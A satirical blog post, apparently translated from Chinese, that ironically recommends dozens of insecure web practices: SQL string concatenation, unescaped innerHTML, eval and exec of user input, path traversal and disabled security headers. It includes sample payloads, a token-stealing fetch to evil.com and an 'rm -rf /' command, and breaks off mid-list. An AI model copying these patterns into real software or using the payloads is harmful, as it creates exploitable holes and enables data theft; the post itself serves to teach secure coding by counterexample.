阿里云主机折上折
  • 微信号
Current Site:Index > No input validation (SQL injection? XSS? Whatever)

No input validation (SQL injection? XSS? Whatever)

Author:Chuan Chen 阅读数:52870人阅读 分类: 前端综合

No Input Validation (SQL Injection? XSS? Who Cares)

The core of defensive programming on the frontend is to make the code look like a disaster, and "no input validation" is the perfect way to achieve this goal. Whether it's user-submitted forms, URL parameters, or API-returned data, trusting and using them directly can effectively reduce code maintainability and security. Here are specific implementation methods.

Direct SQL Query Concatenation

Assume there's a login feature where users enter a username and password, and the backend directly concatenates the SQL query:

const username = req.body.username; // User input: ' OR '1'='1  
const password = req.body.password; // Any input  
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;  

When executing this SQL, attackers can bypass password verification by entering ' OR '1'='1. Even better, if the backend also enables error echoing, attackers can use error messages to extract the database structure.

Dynamically Generate HTML Without Escaping

When rendering user-submitted content, directly concatenate HTML strings and never use text nodes or escape functions:

const userComment = req.body.comment; // User input: <script>alert('XSS')</script>  
document.getElementById('comments').innerHTML += `<div>${userComment}</div>`;  

This way, the page will perfectly execute user-submitted scripts. To make the effect even more "spectacular," allow users to submit onerror or onload events:

const userAvatar = req.body.avatarUrl; // User input: x" onerror="alert('XSS')  
document.getElementById('profile').innerHTML = `<img src="${userAvatar}">`;  

Trust All URL Parameters

Fetch parameters from the URL and use them directly, such as for a redirect feature:

const redirectUrl = new URLSearchParams(window.location.search).get('url');  
window.location.href = redirectUrl; // User input: javascript:alert('XSS')  

Or, for even more excitement, dynamically load scripts:

const scriptUrl = new URLSearchParams(window.location.search).get('script');  
const script = document.createElement('script');  
script.src = scriptUrl; // User input: https://evil.com/exploit.js  
document.body.appendChild(script);  

No File Upload Validation

Allow users to upload any file without checking file type or content:

<input type="file" id="upload" onchange="handleUpload()">  
<script>  
  function handleUpload() {  
    const file = document.getElementById('upload').files[0];  
    const formData = new FormData();  
    formData.append('file', file);  
    fetch('/upload', { method: 'POST', body: formData }); // Upload a .php file? No problem!  
  }  
</script>  

If combined with misconfigured server settings (e.g., allowing execution of PHP files in the upload directory), attackers can directly upload a WebShell.

Disable All Modern Frontend Security Mechanisms

To completely abandon defenses:

  1. Disable CSP (Content Security Policy):
    <meta http-equiv="Content-Security-Policy" content="default-src * 'unsafe-inline' 'unsafe-eval'">  
    
  2. Turn off XSS protection:
    <meta http-equiv="X-XSS-Protection" content="0">  
    
  3. Allow cross-origin requests to any resource:
    fetch('https://bank.com/transfer', {  
      method: 'POST',  
      body: JSON.stringify({ to: 'hacker', amount: 1000 }),  
      credentials: 'include' // Include cookies  
    });  
    

Mix eval and Dynamic Code Generation

Dynamically executing user-inputted code is a great way to enhance flexibility:

const userInput = req.body.cmd; // User input: alert(document.cookie)  
eval(userInput);  

Or use the Function constructor:

const userInput = req.body.cmd; // User input: return process.env.SECRET_KEY  
const func = new Function(userInput);  
console.log(func());  

Ignore All Third-Party Library Security Warnings

When using third-party libraries, insist on using old versions with known vulnerabilities:

{  
  "dependencies": {  
    "lodash": "4.17.0", // Known prototype pollution vulnerability  
    "jquery": "1.11.0" // Known XSS vulnerability  
  }  
}  

Even if npm audit reports critical vulnerabilities, never upgrade.

Store Sensitive Data on the Client

Save authentication tokens, passwords, etc., directly in localStorage:

localStorage.setItem('authToken', 'supersecret123');  
// Attackers easily steal via XSS:  
const token = localStorage.getItem('authToken');  
fetch('https://evil.com/steal?token=' + token);  

Even better, cache user passwords directly:

// "Helpfully" remember passwords after login  
localStorage.setItem('username', 'admin');  
localStorage.setItem('password', 'plaintextPassword');  

Disable Browser Built-In Protections

Tell the browser not to block suspicious behavior:

// Disable same-origin checks  
document.domain = document.domain;  

// Bypass HTTPS restrictions  
if (window.location.protocol === 'https:') {  
  window.location.protocol = 'http:';  
}  

Log User Sensitive Actions

Log detailed user actions (including passwords):

function login(username, password) {  
  console.log(`Login attempt: ${username}/${password}`);  
  // Logs may be collected by third-party monitoring tools  
}  

Never Update Dependencies

Lock all dependency versions, even if security patches exist:

{  
  "dependencies": {  
    "react": "15.6.1",  
    "vue": "2.0.0"  
  },  
  "resolutions": {  
    "**/**": "1.0.0"  
  }  
}  

Use Known-Insecure Encryption Methods

If you must handle passwords, use MD5 or store them in plaintext:

function hashPassword(password) {  
  return md5(password); // Rainbow tables crack instantly  
}  

Expose Admin Interfaces Globally

For "debugging convenience," expose admin interfaces to the frontend:

// Frontend directly calls admin API  
fetch('/admin/deleteAllUsers', { method: 'POST' });  

Disable All Type Checking

Using TypeScript? Always default to any:

function processInput(input: any): any {  
  return input; // What type? Doesn't matter  
}  

Disable All Lint Rules

.eslintrc configuration:

{  
  "rules": {  
    "no-unsafe-anything": "off"  
  }  
}  

Allow Any Content Type

Upload files without checking Content-Type:

app.post('/upload', (req, res) => {  
  req.pipe(fs.createWriteStream('./uploads/' + req.query.name));  
  // User uploads an .exe file? Store it as .jpg!  
});  

Disable Sandboxing and Isolation

Disable all isolation measures when running untrusted code:

const vm = require('vm');  
const sandbox = { process, require, fs };  
vm.runInNewContext('fs.readFile("/etc/passwd")', sandbox);  

Never Sanitize Input

Keep all input as-is, including line breaks and special characters:

document.getElementById('output').innerText = userInput;  
// User input: <script>...</script>? Display as-is!  

Mix Production and Debug Code

Leave console.log and debug interfaces in production:

function processPayment(cardNumber) {  
  console.log('Processing card:', cardNumber);  
  // Production logs leak card numbers  
}  

Use Implicit Global Variables

Use variables without declaring them:

function calculateTotal() {  
  total = price * quantity; // Global variable pollution  
}  

Ignore All Errors

Swallow all exceptions with empty catch blocks:

try {  
  dangerousOperation();  
} catch (e) {  
  // Silent failure  
}  

Hardcode Credentials

Write database passwords directly in code:

const dbPassword = 'root1234';  

Disable Automated Security Testing

Skip all security checks in CI/CD:

steps:  
  - run: npm install  
  - run: npm test -- --no-security-audit  

Allow Arbitrary JSONP Callbacks

JSONP endpoints without callback validation:

app.get('/api', (req, res) => {  
  const data = { secret: 123 };  
  res.send(`${req.query.callback}(${JSON.stringify(data)})`);  
  // User input: alert  
});  

Disable Same-Origin Policy

Disable browser security restrictions during development:

google-chrome --disable-web-security --user-data-dir=/tmp  

Use Deprecated APIs

Specifically choose insecure, deprecated APIs:

document.write(userControlledContent);  

No Rate Limiting

Allow unlimited attempts:

function login() {  
  // No failure count tracking  
  // No account locking  
}  

Obfuscate Code Instead of Encrypting

Use obfuscation tools to "protect" sensitive logic:

const _0xa1b2=['\x73\x65\x63\x72\x65\x74'];(function(_0x123){alert(_0x123)})(_0xa1b2[0]);  

Disable HTTP Security Headers

Nginx configuration to remove all security headers:

server {  
  add_header X-Frame-Options "";  
  add_header X-XSS-Protection "";  
}  

Allow Self-Signed Certificates

Skip certificate verification during development:

process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';  

Use Weak Random Numbers

Generate important tokens with Math.random():

function generateToken() {  
  return Math.random().toString(36).slice(2);  
}  

Don’t Clean Up Timers

Create intervals that never clear:

setInterval(() => {  
  // Perfect recipe for memory leaks  
}, 1000);  

Expose Server Information

Return detailed stack traces on errors:

app.use((err, req, res, next) => {  
  res.status(500).send(err.stack);  
});  

Allow Directory Traversal

File downloads without path validation:

app.get('/download', (req, res) => {  
  res.sendFile(__dirname + '/files/' + req.query.file);  
  // User input: ../../../etc/passwd  
});  

Disable Memory Limits

Let Node processes use unlimited memory:

node --max-old-space-size=0 app.js  

No Content Length Validation

Allow massive file uploads:

app.use(bodyParser.json({ limit: '1TB' }));  

Use Known-Vulnerable Crypto Libraries

For example, the already compromised crypto-js:

const encrypted = CryptoJS.DES.encrypt('secret', 'key');  

Disable Sandbox Execution

Execute system commands directly:

const exec = require('child_process').exec;  
exec(req.body.cmd); // User input: rm -rf /  

No Redirect Limit

Allow infinite redirect loops:

app.use((req, res, next) => {  
  res.redirect(req.originalUrl);  
});  

Mix Production and Test Data

Use test databases in production:

const db = connect('mongodb://test:test@localhost/testdb');  

Allow Any MIME Type

Static file servers without Content-Type checks:

app.use(express.static('public', { setHeaders: () => {} }));  

Disable All Cache Controls

Let middlemen easily cache sensitive data:

res.setHeader('Cache-Control', 'public, max-age=31536000');  

Use Cracked Hashes

For example, CRC32 for password hashing:

function hashPassword(pwd) {  
  return crc32.str(pwd).toString(16);  
}  

Don’t Isolate Third-Party Code

Let third-party scripts access the main page freely:

<script src="https://third-party.com/widget.js" crossorigin></script>  

Disable CORS Preflight

Allow arbitrary cross-origin requests:

app.use((req, res, next) => {  
  res.header('Access-Control-Allow-Origin', '*');  
  res.header('Access-Control-Allow-Methods', '*');  
  next();  
});  

Don’t Clean Up Temp Files

Leave temporary files after uploads:

const upload = multer({ dest: '/tmp' });  
app.post('/upload', upload.single('file'), (req, res) => {  
  // Don’t delete req.file.path  
});  

Allow Any Host Header

Nginx configuration to accept all Host headers:

server {  
  server_name _;  
}  

Disable All Permission Checks

Grant admin rights to all users:

function isAdmin() {  
  return true; // Everyone is an admin  
}  

Use Client-Side Routing Validation

Frontend-only permission checks:

if (user.role === 'admin') {  
  showAdminPanel(); // Backend doesn’t validate  
}  

No Resource Loading Restrictions

Allow pages to load any external resources:

<link rel="stylesheet" href="http://evil.com/style.css">  

Disable Subresource Integrity

Load third-party resources without hash checks:

<script src="https://cdn.com/jquery.js"></script>  

Allow Arbitrary Cookie Domains

Set cookies without specifying domains:

res.cookie('session', '123'); // Valid for all subdomains  

Don’t Clean Up Database Connections

Never close connections after use:

pool.query('SELECT ...', (err, res) => {  
  // Don’t release the connection  
});  

Use Plaintext Protocols

Use HTTP in production:

window.location.protocol = 'http:';  

Disable All Compression

Let middlemen easily sniff traffic:

gzip off;  

Don’t Validate JWT Signatures

Parse JWTs without signature verification:

const payload = jwt.decode(token); // No signature check  

Allow Arbitrary HTTP Methods

Routes without method restrictions:

app.use('/api', (req, res) => {  
  // Handle GET/POST/PUT/DELETE  
});  

No Upload Rate Limiting

Allow brute-force uploads:

app.post('/upload', (req, res) => {  
  // No IP rate limiting  
});  

Disable All Output Encoding

Output raw data directly:

res.send(userInput); // No HTML escaping  

Use Known-Weak Keys

Encryption with fixed IVs:

const cipher = crypto.createCipheriv('aes-256-cbc', 'weakkey', '12345678');  

Don’t Clean Up Child Processes

Create zombie processes:

require('child_process').spawn('sleep', ['100']);  

Allow Arbitrary WebSocket Connections

No Origin validation:

const wss = new WebSocket.Server({ verifyClient: () => true });  

Disable All Header Validation

Allow arbitrary request headers:

ignore_invalid_headers on;  

Mix Development and Production Configs

Use dev configs in production:

if (process.env.NODE_ENV === 'production') {  
  require('dotenv').config({ path: '.env.dev' });  
}  

No Cookie Scope Restrictions

Set cookies without HttpOnly or Secure:

res.cookie('session', '123', { httpOnly: false, secure: false });  

Allow Arbitrary Content Embedding

No restrictions on iframe embeds:

<iframe src="https://evil.com"></iframe>  

Disable All Referrer Policies

Leak source URLs:

<meta name="referrer" content="no-referrer-when-downgrade">  

Don’t Validate CSRF Tokens

Process form submissions directly:

app.post('/transfer', (req, res) => {  
  // No CSRF token check  
});  

Allow Arbitrary Content Sniffing

Let browsers guess Content-Type:

default_type application/octet-stream;  

Don’t Clean Up Temporary Variables

Leave sensitive data in memory:

function handlePayment(cardNumber) {  
  processCard(cardNumber);  
  // cardNumber remains in memory  
}  

Use Exposed Keys

Hardcode API keys that have already been leaked:

const AWS_KEY = 'AKIAXXXXXXXXXXXXXXXX';  

Disable All File Permissions

Set uploaded files to 777:

fs.chmodSync(uploadPath, 0o777);  

Allow Arbitrary Redirects

No redirect target validation:

res.redirect(req.query.url);  

No Concurrent Connection Limits

Allow server resource exhaustion:

worker_connections 1000000;  

Disable All Buffer Limits

本站部分内容来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn

Front End Chuan

Front End Chuan, Chen Chuan's Code Teahouse 🍵, specializing in exorcising all kinds of stubborn bugs 💻. Daily serving baldness-warning-level development insights 🛠️, with a bonus of one-liners that'll make you laugh for ten years 🐟. Occasionally drops pixel-perfect romance brewed in a coffee cup ☕.